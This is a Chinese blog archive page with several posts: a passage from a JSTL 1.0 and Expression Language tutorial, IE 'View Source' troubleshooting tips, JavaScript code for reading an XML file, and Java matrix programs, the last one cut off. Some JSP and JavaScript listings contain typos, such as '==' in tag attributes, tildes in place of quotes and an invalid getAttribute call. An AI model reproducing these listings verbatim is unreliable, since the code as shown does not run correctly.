      清单 1. 通过 scriptlet 实现条件内容 <% if (user.getRole() == "member")) { %>

    <p>Welcome, member!</p>
    <% } else { %>
         <p>Welcome, guest!</p>
    <% } %>


      修正此类问题通常需要相当丰富的编程经验。尽管通常会由十分精通页面布局和图形设计 的设计人员来开发和维护 JSP,但是同一页面中的脚本编制元素出现问题时,需要程序员的介入。这种状况将单个文件中代码的责任分担给多人,因而使得开发、调试和增强此类 JSP 页面成为很麻烦的任务。通过将常用功能包装到定制标记库的标准集合中,JSTL 使 JSP 作者可以减少对编制脚本元素的需求,甚至可以不需要它们,并避免了相关的维护成本。

       JSTL 1.0

       JSTL 1.0 发布于 2002 年 6 月,由四个定制标记库(core、format、xml 和 sql)和一对通用标记库验证器(ScriptFreeTLV 和 PermittedTaglibsTLV)组成。core 标记库提供了定制操作,通过限制了作用域的变量管理数据,以及执行页面内容的迭代和条件操作。它还提供了用来生成和操作 URL 的标记。顾名思义,format 标记库定义了用来格式化数据(尤其是数字和日期)的操作。它还支持使用本地化资源束进行 JSP 页面的国际化。xml 库包含一些标记,这些标记用来操作通过 XML 表示的数据,而 sql 库定义了用来查询关系数据库的操作。

        两个 JSTL 标记库验证器允许开发人员在其 JSP 应用程序中强制使用编码标准。可以配置 ScriptFreeTLV 验证器以在 JSP 页面中禁用各种类型的 JSP 脚本元素 — scriptlet、表达式和声明。类似地,PermittedTaglibsTLV 验证器可以用来限制可能由应用程序的 JSP 页面访问的定制标记库集(包括 JSTL 标记库)。

       尽管 JSTL 最终将会成为 J2EE 平台的必需组件,但目前只有少数应用程序服务器包括它。JSTL 1.0 的参考实现可作为 Apache 软件基金会(Apache Software Foundation)的 Jakarta Taglibs 项目(请参阅参考资料)的一部分而获得。可以将该参考实现中的定制标记库合并到任何支持 JSP 1.2 和 Servlet 2.3 规范的服务器,以添加对 JSTL 的支持。

       表达式语言

       在 JSP 1.2 中,可以使用静态字符串或表达式(如果允许的话)指定 JSP 操作的属性。例如,在清单 2 中,对 <jsp:setProperty> 操作的 name 和 property 属性指定了静态值,而用表达式指定了其 value 属性。这个操作的效果是将请求参数的当前值赋予命名的 bean 特性。以这种形式使用的表达式被称为请求时属性值(request-time attribute value),这是构建到 JSP 规范中的用于动态指定属性值的唯一机制。

       清单 2. 合并请求时属性值的 JSP 操作

    <jsp:setProperty name="user" property="timezonePref"
                      value=~<%= request.getParameter("timezone") %>~/>


      因为请求时属性值是用表达式指定的,所以它们往往有和其它脚本元素一样的软件维护问 题。因此,JSTL 定制标记支持另一种用于指定动态属性值的机制。可以用简化的表达式语言(EL)而不使用完整的 JSP 表达式来指定 JSTL 操作的属性值。EL 提供了一些标识符、存取器和运算符,用来检索和操作驻留在 JSP 容器中的数据。EL 在某种程度上以 EcmaScript(请参阅参考资料)和 XML 路径语言(XML Path Language,XPath)为基础,因此页面设计人员和程序员都应该熟悉它的语法。EL 擅长寻找对象及其特性,然后对它们执行简单操作;它不是编程语言,甚至不是脚本编制语言。但是,与 JSTL 标记一起使用时,它就能使用简单而又方便的符号来表示复杂的行为。EL 表达式的格式是这样的:用美元符号($)定界,内容包括在花括号({})中,如清单 3 所示。

       清单 3. 说明 EL 表达式定界符的 JSTL 操作

       <c:out value="${user.firstName}"/>

       此外,您可以将多个表达式与静态文本组合在一起以通过字符串并置来构造动态属性值,如清单 4 所示。单独的表达式由标识符、存取器、文字和运算符组成。标识符用来引用存储在数据中心中的数据对象。EL 有 11 个保留标识符,对应于 11 个 EL 隐式对象。假定所有其它标识符都引用限制了作用域的变量。存取器用来检索对象的特性或集合的元素。文字表示固定的值 — 数字、字符、字符串、布尔型或空值。运算符允许对数据和文字进行组合以及比较。

       清单 4. 组合静态文本和多个 EL 表达式以指定动态属性值

       <c:out value="Hello ${user.firstName} ${user.lastName}"/>

       限制了作用域的变量

       JSP API 通过 <jsp:useBean> 操作允许从 JSP 容器内的四个不同作用域中存储和检索数据。JSTL 通过提供用于指定和除去这些作用域中的对象的附加操作来扩展这一能力。此外,EL 提供将这些对象作为限制了作用域的变量进行检索的内置支持。特别地,任何出现在 EL 表达式中但不对应于任何 EL 隐式对象的标识符,都被自动假定为引用存储在四个 JSP 作用域的其中某个中的对象,这四个作用域是:

       ·页面作用域

       ·请求作用域

       ·会话作用域

       ·应用程序作用域

       您可能还记得,只有在为特定请求处理页面期间才能检索存储在该页面作用域中的对象。如果对象是存储在请求作用域中的,可以在处理所有参与处理某请求的页 面期间检索这些对象(譬如在对某个请求的处理中遇到了一个或多个 <jsp:include> 或 <jsp:forward> 操作)。如果对象是存储在会话作用域中的,则在与 Web 应用程序的交互式会话期间,可以由用户访问的任何页面检索它(即,直到与该用户交互相关联的 HttpSession 对象无效为止)。可以由任何用户从任何页面访问存储在应用程序作用域中的对象,直到卸载 Web 应用程序本身为止(通常是由于关闭 JSP 容器所致)。

       通过将字符串映射为期望作用域中的对象来将对象存储到该作用域。然后,就可以通过提供相同字符串来从该作用域检索该对象。在作用域的映射中查找字符串,并 返回被映射的对象。在 Servlet API 中,将此类对象称为相应作用域的属性。但是,在 EL 的上下文中,也将与属性相关联的字符串看作变量的名称,该变量通过属性映射的方式获得特定的值。

       在 EL 中,与隐式对象无关联的标识符被认为是存储在四个 JSP 作用域中的名称对象。首先对页面作用域检查是否存在这样的标识符,其次对请求作用域、然后对会话作用域、最后对应用程序作用域依次进行这样的检查,然后测 试该标识符的名称是否与存储在该作用域中的某个对象的名称匹配。第一个这样的匹配作为 EL 标识符的值被返回。通过这种方法,可以将 EL 标识符看作引用限制了作用域的变量。

       从更技术的方面来说,没有映射到隐式对象的标识符是用 PageContext 实例的 findAttribute() 方法求值的,该实例表示对页面的处理,在该页面上,当前正在处理用于请求的表达式。标识符的名称作为参数传递给这个方法,然后该方法依次在四个作用域中搜 索具有相同名称的属性。并将所找到的第一个匹配项作为 findAttribute() 方法的值返回。如果未在这四个作用域中找到这样的属性,则返回 null。

       最终,限制了作用域的变量是四个 JSP 作用域的属性,这些属性具有可以用作 EL 标识符的名称。只要对限制了作用域的变量赋予由字母数字组成的名称,就可以通过 JSP 中提供的用于设置属性的任何机制来创建它们。这包括内置的 <jsp:useBean> 操作,以及由 Servlet API 中的几个类定义的 setAttribute() 方法。此外,四个 JSTL 库中定义的许多定制标记本身就能够设置作为限制了作用域的变量使用的属性值。

       隐式对象

       表 1 中列出了 11 个 EL 隐式对象的标识符。不要将这些对象与 JSP 隐式对象(一共只有九个)混淆,其中只有一个对象是它们所共有的。

       表 1. EL 隐式对象

       类别    标识符             描述

       JSP    pageContext   PageContext 实例对应于当前页面的处理

       作用域  pageScope     与页面作用域属性的名称和值相关联的 Map 类

            requestScope   与请求作用域属性的名称和值相关联的 Map 类

            sessionScope   与会话作用域属性的名称和值相关联的 Map 类

            applicationScope 与应用程序作用域属性的名称和值相关联的 Map 类

       请求参数 param      按名称存储请求参数的主要值的 Map 类

            paramValues  将请求参数的所有值作为 String 数组存储的 Map 类

       请求头  header     按名称存储请求头主要值的 Map 类

            headerValues 将请求头的所有值作为 String 数组存储的 Map 类

       Cookie  cookie     按名称存储请求附带的 cookie 的 Map 类

       初始化参数 initParam   按名称存储 Web 应用程序上下文初始化参数的 Map 类

          尽管 JSP 和 EL 隐式对象中只有一个公共对象(pageContext),但通过 EL 也可以访问其它 JSP 隐式对象。原因是 pageContext 拥有访问所有其它八个 JSP 隐式对象的特性。实际上,这是将它包括在 EL 隐式对象中的主要理由。

       其余所有 EL 隐式对象都是映射,可以用来查找对应于名称的对象。前四个映射表示先前讨论的各种属性作用域。可以用它们来查找特定作用域中的标识符,而不用依赖于 EL 在缺省情况下使用的顺序查找过程。

        接下来的四个映射用来获取请求参数和请求头的值。因为 HTTP 协议允许请求参数和请求头具有多个值,所以它们各有一对映射。每对中的第一个映射返回请求参数或头的主要值,通常是恰巧在实际请求中首先指定的那个值。每 对中第二个映射允许检索参数或头的所有值。这些映射中的键是参数或头的名称,但这些值是 String 对象的数组,其中的每个元素都是单一参数值或头值。

       cookie 隐式对象提供了对由请求设置的 cookie 名称的访问。这个对象将所有与请求相关联的 cookie 名称映射到表示那些 cookie 特性的 Cookie 对象。

       最后一个 EL 隐式对象 initParam 是一个映射,它储存与 Web 应用程序相关联的所有上下文的初始化参数的名称和值。初始化参数是通过 web.xml 部署描述符文件指定的,该文件位于应用程序的 WEB-INF 目录中。

       存取器

       因为 EL 标识符是作为隐式对象或限制了作用域的变量(通过属性来实现)解析的,因此有必要将它们转换成 Java 对象。EL 可以自动包装和解包其相应的 Java 类中的基本类型(例如,可以在后台将 int 强制转换成 Integer 类,反之亦可),但大多数的标识符将成为指向完整的 Java 对象的指针。

       结果是,对这些对象的特性或(在对象是数组和集合的情况下)对其元素的访问通常是令人满意的。就为了实现这种用途,EL 提供了两种不同的存取器(点运算符(.)和方括号运算符([])),也支持通过 EL 操作特性和元素。

        点运算符通常用于访问对象的特性。例如,在表达式 ${user.firstName} 中,使用点运算符来访问 user 标识符所引用对象的名为 firstName 的特性。EL 使用 Java bean 约定访问对象特性,因此必须定义这个特性的 getter 方法(通常是名为 getFirstName() 的方法),以便表达式正确求值。当被访问的特性本身是对象时,可以递归地应用点运算符。例如,如果我们虚构的 user 对象有一个实现为 Java 对象的 address 特性,那么也可以用点运算符来访问这个对象的特性。例如,表达式 ${user.address.city} 将会返回这个地址对象嵌套的 city 特性。

       方括号运算符用来检索数组和集合的元素。在数组和有序集合(也即,实现了 java.util.List 接口的集合)的情况下,把要检索的元素的下标放在方括号中。例如,表达式 ${urls[3]} 返回 urls 标识符所引用的数组或集合的第四个元素(和 Java 语言以及 JavaScript 中一样,EL 中的下标是从零开始的)。

        对于实现 java.util.Map 接口的集合,方括号运算符使用关联的键查找存储在映射中的值。在方括号中指定键,并将相应的值作为表达式的值返回。例如,表达式 ${commands["dir"]} 返回与 commands 标识符所引用的 Map 中的 "dir" 键相关联的值。

       对于上述两种情况,都可允许表达式出现在方括号中。对嵌套表达式求值的结果将被作为下标或键,用来检索集合或数组的适当元素。和点运算符一样,方括号运算 符也可以递归应用。这使得 EL 能够从多维数组、嵌套集合或两者的任意组合中检索元素。此外,点运算符和方括号运算符还可以互操作。例如,如果数组的元素本身是对象,则可以使用方括号运 算符来检索该数组的元素,并结合点运算符来检索该元素的一个特性(例如 ${urls[3].protocol})。

       假定 EL 充当指定动态属性值的简化语言,EL 存取器有一个有趣的功能(与 Java 语言的存取器不同),那就是它们在应用于 null 时不抛出异常。如果应用 EL 存取器的对象(例如,${foo.bar} 和 ${foo["bar"]} 中的 foo 标识符)是 null,那么应用存取器的结果也是 null。事实证明,在大多数情况下,这是一个相当有用的行为,不久您就会了解这一点。

       最后,点运算符和方括号运算符可能实现某种程度的互换。例如,也可以使用 ${user["firstName"]} 来检索 user 对象的 firstName 特性,正如可以用 ${commands.dir} 获取与 commands 映射中的 "dir" 键相关联的值一样。

       运算符

      EL 还可以通过使用标识符和存取器,遍历包含应用程序数据(通过限制了作用域的变量公开)或关于环境的信息(通过 EL 隐式对象)的对象层次结构。但是,只是访问这些数据,通常不足以实现许多 JSP 应用程序所需的表示逻辑。

       最终,EL 还包括了几个用来操作和比较 EL 表达式所访问数据的运算符。表 2 中汇总了这些运算符。

       表 2. EL 运算符

       类别     运算符

       算术运算符  +、-、*、/(或 div)和 %(或 mod)

       关系运算符  ==(或 eq)、!=(或 ne)、<</code>(或 lt)、>(或 gt)、<=(或 le)和 >=(或 ge)

       逻辑运算符  &&(或 and)、||(或 or)和 !(或 not)

       验证运算符  empty

        算术运算符支持数值的加法、减法、乘法和除法。还提供了一个求余运算符。注:除法和求余运算符都有替代的、非符号的名称(为的是与 XPath 保持一致)。清单 5 中显示了一个演示算术运算符用法的示例表达式。对几个 EL 表达式应用算术运算符的结果是将该算术运算符应用于这些表达式返回的数值所得的结果。

       清单 5. 利用算术运算符的 EL 表达式

    ${item.price * (1 + taxRate[user.address.zipcode])}


       关系运算符允许比较数字或文本数据。比较的结果作为布尔值返回。逻辑运算符允许合并布尔值,返回新的布尔值。因此,可以将 EL 逻辑运算符应用于嵌套的关系或逻辑运算符的结果,如清单 6 所示。

       清单 6. 利用关系和逻辑运算符的 EL 表达式

    ${(x >= min) && (x <= max)}


       最后一种 EL 运算符是 empty,它对于验证数据特别有用。empty 运算符采用单个表达式作为其变量(也即,${empty input}),并返回一个布尔值,该布尔值表示对表达式求值的结果是不是“空”值。求值结果为 null 的表达式被认为是空,即无元素的集合或数组。如果参数是对长度为零的 String 求值所得的结果,则 empty 运算符也将返回 true。

       表 3 显示了 EL 运算符的优先级。正如清单 5 和 6 所示,可以用圆括号对表达式分组,高于普通的优先级规则。

       表 3. EL 运算符优先级(自顶到底,从左到右)

    [], . 
    ()
    unary -、not、!、empty
    *、/、div、%、mod
    +、binary -
    () <</code>、>、<=、>=、lt、gt、le、ge
    ==、!=、eq、ne
    &&、and
    ||、or


       文字

       在 EL 表达式中,数字、字符串、布尔值和 null 都可以被指定为文字值。字符串可以用单引号或双引号定界。布尔值被指定为 true 和 false。

       Taglib 伪指令

        正如我们先前讨论的,JSTL 1.0 包括四个定制标记库。为了演示 JSTL 标记和表达式语言的交互,我们将研究几个来自 JSTL core 库的标记。和使用任何 JSP 定制标记库一样,必须在您想要使用这个库标记的任何页面中包括 taglib 伪指令。清单 7 显示了用于这个特定库的伪指令。

       清单 7. 用于 JSTL core 库 EL 版本的 taglib 伪指令

    <%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>


      实际上,对应于 JSTL core 库的 taglib 伪指令有两种,因为在 JSTL 1.0 中,EL 是可选的。所有四个 JSTL 1.0 定制标记库都有使用 JSP 表达式(而不是 EL)指定动态属性值的备用版本。因为这些备用库依赖于 JSP 的更传统的请求时属性值,所以它们被称为 RT 库,而那些使用表达式语言的则被称为 EL 库。开发人员用不同的 taglib 伪指令来区分每个库的这两个版本。清单 8 显示了使用 core 库的 RT 版本的伪指令。但是,由于现在我们讨论的重点是 EL,所以首先需要这些伪指令。

       清单 8. 用于 JSTL core 库 RT 版本的 taglib 伪指令

    <%@ taglib uri="http://java.sun.com/jstl/core_rt" prefix="c_rt" %>


       变量标记

      我们首先要考 虑的 JSTL 定制标记是 <c:set> 操作。正如已经说明的,限制了作用域的变量在 JSTL 中起关键作用,<c:set> 操作提供基于标记的机制来创建和设置限制了作用域的变量。清单 9 中显示了该操作的语法,其中 var 属性指定了限制了作用域的变量的名称,scope 属性表明了该变量驻留在哪个作用域中,value 属性指定了分配给该变量的值。如果指定变量已经存在,则简单地将所指明的值赋给它。如果不存在,则创建新的限制了作用域的变量,并用该值初始化这个变量。

       清单 9. <c:set> 操作的语法

    <c:set var="name" scope="scope" value="expression"/>


      scope 属性是可选的,其缺省值是 page。

       清单 10 中显示了 <c:set> 的两个示例。在第一个示例中,将会话作用域变量设置成 String 值。在第二个示例中,用表达式来设置数值:将页面作用域内名为 square 的变量赋值为名为 x 的请求参数的值的平方。

       清单 10. <c:set> 操作示例

    <c:set var="timezone" scope="session" value="CST"/>
    <c:set var="square" value="${param[~x~] * param[~x~]}"/>


      您还可以将限制了作用域的变量的值指定为 <c:set> 操作的主体内容,而不是使用属性。使用这种方法,您可以重新编写清单 10 中的第一个示例,如清单 11 所示。此外,正如我们马上可以看到的,<c:set> 标记的主体内容本身也可以使用定制标记。<c:set> 主体内生成的所有内容都将作为一个 String 值赋给指定变量。

       清单 11. 通过主体内容指定 <c:set> 操作的值

    <c:set var="timezone" scope="session">CST</c:set>


      JSTL core 库包含第二个用于管理限制了作用域的变量的标记 — <c:remove>。顾名思义,<c:remove> 操作是用来删除限制了作用域的变量的,它获取两个属性。var 属性指定待删除变量的名称,scope 属性是可选的,它表示待删除变量来自哪个作用域,缺省为 page,如清单 12 所示。

       清单 12. <c:remove> 操作示例

    <c:remove var="timezone" scope="session"/>


       输出

      尽管 <c:set> 操作允许将表达式结果赋给限制了作用域的变量,但开发人员通常会希望只显示表达式的值,而不存储它。JSTL <c:out> 定制标记承担这一任务,其语法如清单 13 所示。该标记对由其 value 属性指定的表达式进行求值,然后打印结果。如果指定了可选属性 default,那么,在对 value 属性的表达式求值所得结果为 null 或空 String 的情况下,<c:out> 将打印其值。

       清单 13. <c:out> 操作的语法

    <c:out value="expression" default="expression" escapeXml="boolean"/>


      escapeXml 属性也是可选的。它控制当用 <c:out> 标记输出诸如“<”、“>”和“&”之类的字符(在 HTML 和 XML 中具有特殊意义)时是否应该进行转义。如果将 escapeXml 设置为 true,则会自动将这些字符转换成相应的 XML 实体(此处提到的字符分别转换成 &lt;、&gt; 和 &amp;)。

       例如,假定有一个名为 user 的会话作用域变量,它是一个类的实例,该类为用户定义了两个特性:username 和 company。每当用户访问站点时,这个对象被自动分配给会话,但直到用户实际登录后,才会设置这两个特性。假定是这种方案,请考虑清单 14 中的 JSP 片段。在用户登录之后,这个片段将显示单词“Hello”,其后是他/她的用户名和一个惊叹号。但是,在用户登录之前,由这个片段生成的内容则是短语 “Hello Guest!”。在这种情况下,因为 username 特性还有待初始化,所以 <c:out> 标记将转而打印出 default 属性的值(即字符串“Guest”)。

       清单 14. 带缺省内容的 <c:out> 操作示例 Hello

    <c:out value="${user.username}" default=="Guest"/>!


      接下来,考虑清单 15,它使用了 <c:out> 标记的 escapeXml 属性。如果在这种情况下已经将 company 特性设置成 Java String 值 "Flynn & Sons",那么,实际上该操作生成的内容将是 Flynn & Sons。如果这个操作是生成 HTML 或 XML 内容的 JSP 页面的一部分,那么,这个字符串中间的“&”符号最终可能被解释为 HTML 或 XML 控制字符,从而妨碍了对该内容的显示或解析。但是,如果将 escapeXml 属性值设置成 true,则所生成的内容将是 Flynn &amp; Sons。浏览器或解析器不会因在解释时遇到这种内容而出问题。假定 HTML 和 XML 是 JSP 应用程序中最常见的内容类型,所以 escapeXml 属性的缺省值是 true 就不足为奇了。

       清单 15. 禁用转义的 <c:out> 操作示例

    <c:out value="${user.company}" escapeXml=="false"/>


       用缺省值设置变量

      除了 简化动态数据的显示之外,当通过 <c:set> 设置变量值时,<c:out> 指定缺省值的能力也很有用。正如清单 11 所示,用来赋给限制了作用域的变量的值可以指定为 <c:set> 标记的主体内容,也可以通过其值属性来指定。通过将 <c:out> 操作嵌套在 <c:set> 标记的主体内容中,变量赋值就可以利用其缺省值能力。

       清单 16 中说明了这种方法。外部 <c:set> 标记的行为非常简单:它根据其主体内容设置会话作用域 timezone 变量的值。但是,在这种情况下,主体内容是通过 <c:out> 操作生成的。这个嵌套操作的值属性是表达式 ${cookie[~tzPref~].value},它尝试通过 cookie 隐式对象返回名为 tzPref 的 cookie 值。(cookie 隐式对象将 cookie 名称映射到相应的 Cookie 实例,这意味着必须通过对象的 value 特性使用点运算符来检索储存在 cookie 中的实际数据。)

       清单 16. 合并 <c:set> 和 <c:out> 以提供缺省变量值

    <c:set var="timezone" scope=="session">
        <c:out value="${cookie[~tzPref~].value}" default=="CST"/>
    </c:set>


      但是,请考虑以下情况,用户是第一次尝试使用这段代码的 Web 应用程序。结果是,请求中没有提供名为 tzPref 的 cookie。这意味着使用隐式对象的查找将返回 null,在这种情况下整个表达式将返回 null。因为对 <c:out> 标记的 value 属性求值的结果是 null,所以 <c:out> 标记会转而输出对其 default 属性求值的结果。在这里是字符串 CST。因此,实际的结果是将 timezone 限制了作用域的变量设置成用户的 tzPref cookie 中存储的时区,或者,如果没有,则使用缺省时区 CST。

       EL 和 JSP 2.0

       目前,表达式语言仅可用于指定 JSTL 定制标记中的动态属性值。但 JSTL 1.0 表达式语言的一个扩展已经被提出,会把它包括到 JSP 2.0 中去,眼下正在进行最后评审。这个扩展将允许开发人员通过自己的定制标记来使用 EL。页面作者将可以在目前允许使用 JSP 表达式的任何地方使用 EL 表达式,譬如将动态值插入模板文本中:<p>Your preferred time zone is ${timezone}</p>。

       这个 JSP 2.0 功能(就象 JSTL 本身一样)将支持页面作者进一步减少对 JSP 编制脚本元素的依赖,从而改进 JSP 应用程序的可维护性。

       结束语

       EL(与四个 JSTL 定制标记库提供的操作结合起来)允许页面作者不使用脚本元素即可实现表示层逻辑。例如,对比本文开头清单 1 中的 JSP 代码和清单 17 中显示的通过 JSTL 实现的同样功能。(JSTL core 库中其余的标记,包括 <c:choose> 及其子标记,将在本系列的下一篇文章中讨论。)尽管显然执行了条件逻辑,但是 JSTL 版本中没有 Java 语言源代码,并且标记之间的关系(尤其是关于嵌套需求)对于任何精通 HTML 语法的人都应该是熟悉的。

       清单 17. 合并 <c:set> 和 <c:out> 以提供缺省变量值

    <c:choose><c:when test="${user.role == ~member~}">
         <p>Welcome, member!</p>
       </c:when><c:otherwise>
         <p>Welcome, guest!</p>
       </c:otherwise></c:choose>


      通过提供大多数 Web 应用程序常用功能的标准实现,JSTL 有助于加速开发周期。与 EL 结合起来,JSTL 可以不需要对表示层程序编写代码,这极大地简化了 JSP 应用程序的维护。

       参考资料

       Sun 的 JSP 标准标记库主页是了解关于 JSTL 的更多信息的良好起点。

       JSTL 1.0 规范是关于 EL 和四个 JSTL 标记库的最终权威文本。

       Jakarta Taglibs 项目是 JSTL 1.0 参考实现的起源。

       Shawn Bayern 所著的 JSTL in Action(Manning Publications Co.,2002 年)提供了对所有 JSTL 功能的精彩论述,作者是该参考实现的领导。

       David Geary 是 Java 技术方面很受欢迎的作者,他也写了一本关于 JSTL 的书,书名是 Core JSTL。

       JSPTags.com 是 JSP 技术参考资料的目录,它尤其专注于定制标记库。

       Sun 的 Java Web Services Tutorial 中包含了对 JSTL 的讨论。

       “Using JSPs and custom tags within VisualAge for Java and WebSphere Studio”(WebSphere 开发者园地)是一篇 WBOnline 实用论文,它演示了 servlet、JSP 和定制标记库的使用。

       通过 Jeff Wilson 精彩的文章“使用定制标记控制 JSP 页面”(developerWorks,2002 年 1 月)了解关于定制标记库的一切。

       Noel Bergman 的文章“JSP 标记库:着意设计的更好的可用性”(developerWorks,2001 年 12 月)向您展示了声明性标记是如何帮助提高 JSP 页面的可用性的。

       有关 EcmaScript 的更多详细信息,请参阅 Sing Li 的“快速上手 Java 编程”(developerWorks,2001 年 7 月)。

       在 developerWorks Java 技术专区可以找到多达数百篇的 Java 技术参考资料。
    posted @ 2007-08-22 19:52 jadmin 阅读(34) | 评论 (0)编辑 收藏

      第一类情况是,当浏览器的缓存被装满时,“查看源文件”功能将失效。如果你想确定自己的电脑是否属于这类情况,可以点击IE的“工具”菜单中的“Internet选项” “常规”标签,然后,再点击“Internet临时文件”一栏中的“删除文件”按钮。 

      第二类情况,当你打开某些特殊的浏览器窗口(比如说用JavaScript脚本语言编写的网页)时,“查看源文件”功能也会失效。如果你在浏览任何网页时,都无法“查看源文件”,那就不属于这类情况。 

      第三类情况,当一个网页还没有被完全加载到桌面时,“查看源文件”功能也是不能使用的(在这种状态下,“文件”菜单中的“另存为”选项也是屏蔽的)。这也算不上是真正的问题。 

      第四类情况,查看Windows文件夹,如果找不到Notepad.exe,将会导致“查看源文件”功能无法使用。 

      第五类情况,如果TEMP(或TMP)环境变量指向某一个不存在的文件夹,也会导致“查看源文件”功能无法使用。打开命令提示符(command prompt)窗口,键入SET TEMP(或SET TMP),就可以查看到这些变量的值。 

      第六类情况,通过注册表设置也可以限定命令行的有效性。首先,点击“开始”菜单,在运行对话框中键入“REGEDIT”,调出注册表编辑器,点击“HKEY_CURRENT_USER\Software\ Policies\Microsoft\Internet Explorer\ Restrictions”,在右边的窗格中找到一个名为NoViewSource的值,如果当前的数值数据设置为1,则双击它,将数值数据更改为0。

      第七类情况,通过查看注册表设置,你还会发现:如果指定的调用程序不正确,也将导致“查看源文件”功能失灵。调出注册表编辑器,点击“HKEY_LOCAL_MACHINE\Software\ Microsoft\Internet Explorer\View Source Editor\Editor Name”,如果该键存在的话,右边窗格中所显示的默认的“数值名称”应该是记

      事本程序的完整路径,一般以“C:\windows\notepad.exe”的形式表示。如果该键不存在,先核实记事本程序的正确位置,然后双击默认键值,修改错误路径。 

      第八类情况,组策略的设置也有可能会屏蔽“查看源文件”这一菜单项。从“开始”菜单中调出“运行”对话框,键入GPEDIT.MSC。如果桌面上弹出一个提示框,提示该文件名不正确,则说明“查看源文件”功能的失效与组策略的设置无关;否则,桌面上将会弹出一个“组策略编辑器”窗口,点击“User Configuration\Administr-ativeTemplates\Windows Components\Internet Explorer\Browser”,在右边的窗格中找到View menu: Disable Source menu,如果这个键值被设置为“Enabled”,则将它更改为“Disabled”。

      注意,上面介绍的第一类情况(即由于IE所保存的Internet临时文件过多而造成“查看源文件”功能失灵)是最常见的(如图)。如果删除了所有脱机内容之后,该功能仍然无法使用,你再依次检查后面所介绍的几种可能性,直到问题消除为止。

    该文章转载自1024k:http://www.1024k.cn/faq/2007/200705/25636.html

    posted @ 2007-08-22 19:27 jadmin 阅读(88) | 评论 (0)编辑 收藏

    我的xml文件Login.xml如下.
    <?xml version="1.0" encoding="utf-8" ?>
    <Login>
          <Character>
              <C Text="热血" Value="0"></C>
              <C Text="弱气" Value="1"></C>
              <C Text="激情" Value="2"></C>
              <C Text="冷静" Value="3"></C>
              <C Text="冷酷" Value="4"></C>
          </Character>
          <Weapon>
              <W Text="光束剑" Value="0"></W>
              <W Text="光束配刀" Value="1"></W>
          </Weapon>
          <EconomyProperty>
              <P Text="平均型" Value="0"></P>
              <P Text="重视攻击" Value="1"></P>
              <P Text="重视敏捷" Value="2"></P>
              <P Text="重视防御" Value="3"></P>
              <P Text="重视命中" Value="4"></P>
          </EconomyProperty>
    </Login>
    现在我需要对这个xml文件的内容进行操作.
    首先,我们需要加载这个xml文件,js中加载xml文件,是通过XMLDOM来进行的.
    // 加载xml文档
    loadXML      = function(xmlFile)
    {
          var xmlDoc;
          if(window.ActiveXObject)
          {
              xmlDoc      = new ActiveXObject('Microsoft.XMLDOM');
              xmlDoc.async      = false;
              xmlDoc.load(xmlFile);
          }
          else if (document.implementation&&document.implementation.createDocument)
          {
              xmlDoc      = document.implementation.createDocument('', '', null);
              xmlDoc.load(xmlFile);
          }
          else
          {
              return null;
          }
        
          return xmlDoc;
    }

    xml文件对象出来了, 接下去我就要对这个文档进行操作了.
    比如说,我们现在需要得到节点Login/Weapon/W的第一个节点的属性,那么我们可以如下进行.


    // 首先对xml对象进行判断
    checkXMLDocObj      = function(xmlFile)
    {
          var xmlDoc      = loadXML(xmlFile);
          if(xmlDoc==null)
          {
              alert('您的浏览器不支持xml文件读取,于是本页面禁止您的操作,推荐使用IE5.0以上可以解决此问题!');
              window.location.href='/Index.aspx';
          }
        
          return xmlDoc;
    }

    // 然后开始获取需要的Login/Weapon/W的第一个节点的属性值
    var xmlDoc      = checkXMLDocObj('/EBS/XML/Login.xml');
    var v      = xmlDoc.getElementsByTagName('Login/Weapon/W')[0].childNodes.getAttribute('Text')
    而我在我的程序中的写法是这样子的,当然我在程序中的写法是已经应用到实际中的了.一并给出来,以供查看
    initializeSelect      = function(oid, xPath)
    {
          var xmlDoc      = checkXMLDocObj('/EBS/XML/Login.xml');
          var n;
          var l;
          var e      = $(oid);
          if(e!=null)
          {
              n      = xmlDoc.getElementsByTagName(xPath)[0].childNodes;
              l      = n.length;
              for(var i=0; i<l; i++)
              {
                  var option      = document.createElement('option');
                  option.value      = n[i].getAttribute('Value');
                  option.innerHTML      = n[i].getAttribute('Text');
                  e.appendChild(option);
              }
          }
    }
    上面的访问代码中,我们是通过xmlDoc.getElementsByTagName(xPath)来进行的.
    还可以通过xmlDoc.documentElement.childNodes(1)..childNodes(0).getAttribute('Text')进行访问.
    一些常用方法:
    xmlDoc.documentElement.childNodes(0).nodeName,可以得到这个节点的名称.
    xmlDoc.documentElement.childNodes(0).nodeValue,可以得到这个节点的值. 这个值是来自于这样子的xml格式:<a>b</b>, 于是可以得到b这个值.
    xmlDoc.documentElement.childNodes(0).hasChild,可以判断是否有子节点

    根据我的经验,最好是使用getElementsByTagName(xPath)的方法对节点进行访问,因为这样子可以直接通过xPath来定位节点,这样子会有更好的性能.

    posted @ 2007-08-22 19:00 jadmin 阅读(68) | 评论 (0)编辑 收藏

    转载请注明出处:http://hi.baidu.com/jadmin/

    /**
    *
    * @(#)ZhuanzMatrix.java
    *
    * @author    JAdmin
    * @version   1.00    2008/08/22
    */

    import java.util.Scanner;

    public class ZhuanzMatrix
    {
    public static void main(String[] args)
    {
       int row,col;
       Scanner sr = new Scanner(System.in);
       System.out.println("请输入矩阵的行和列参数:");
       System.out.print("row=");
       row = sr.nextInt();
       System.out.print("col=");
       col = sr.nextInt();
       int[][] array = new int[row][col];
       System.out.println("请输入矩阵各元素Matrix[" + row + "]" + "[" + col + "]");
       input(array);
       System.out.println("原矩阵:");
       display(array);
       int[][] newarr = doZhuanz(array);
       System.out.println("转置后:");
       display(newarr);
    }

    private static void input(int[][] arr)
    {
       Scanner sr = new Scanner(System.in);
       for(int i = 0;i < arr.length;i++)
        for(int j = 0;j < arr[0].length;j++)
          arr[i][j] = sr.nextInt();
    }

    private static void display(int[][] arr)
    {
       for(int i = 0;i < arr.length;i++)
       {
        for(int j = 0;j < arr[0].length;j++)
         System.out.print(arr[i][j]+" ");
        System.out.println();
       }
    }

    private static int[][] doZhuanz(int[][] arr)
    {
       int[][] tmparr = new int[arr[0].length][arr.length];
       for(int i = 0;i < tmparr.length;i++)
        for(int j = 0;j < tmparr[0].length;j++)
         tmparr[i][j] = arr[j][i];
       return tmparr;
    }
    }

    posted @ 2007-08-22 18:28 jadmin 阅读(64) | 评论 (0)编辑 收藏

    转载请注明出处:http://hi.baidu.com/jadmin/blog/item/88a2853ea2cae8f8838b1318.html

    /**
    * @(#)DelColOfMatrix.java
    *
    * @author JAdmin
    * @version 1.00 2007/8/22
    *
    */

    import java.util.Scanner;

    public class DelColOfMatrix
    {
    public static void main(String[] args)
    {
        int row, col;
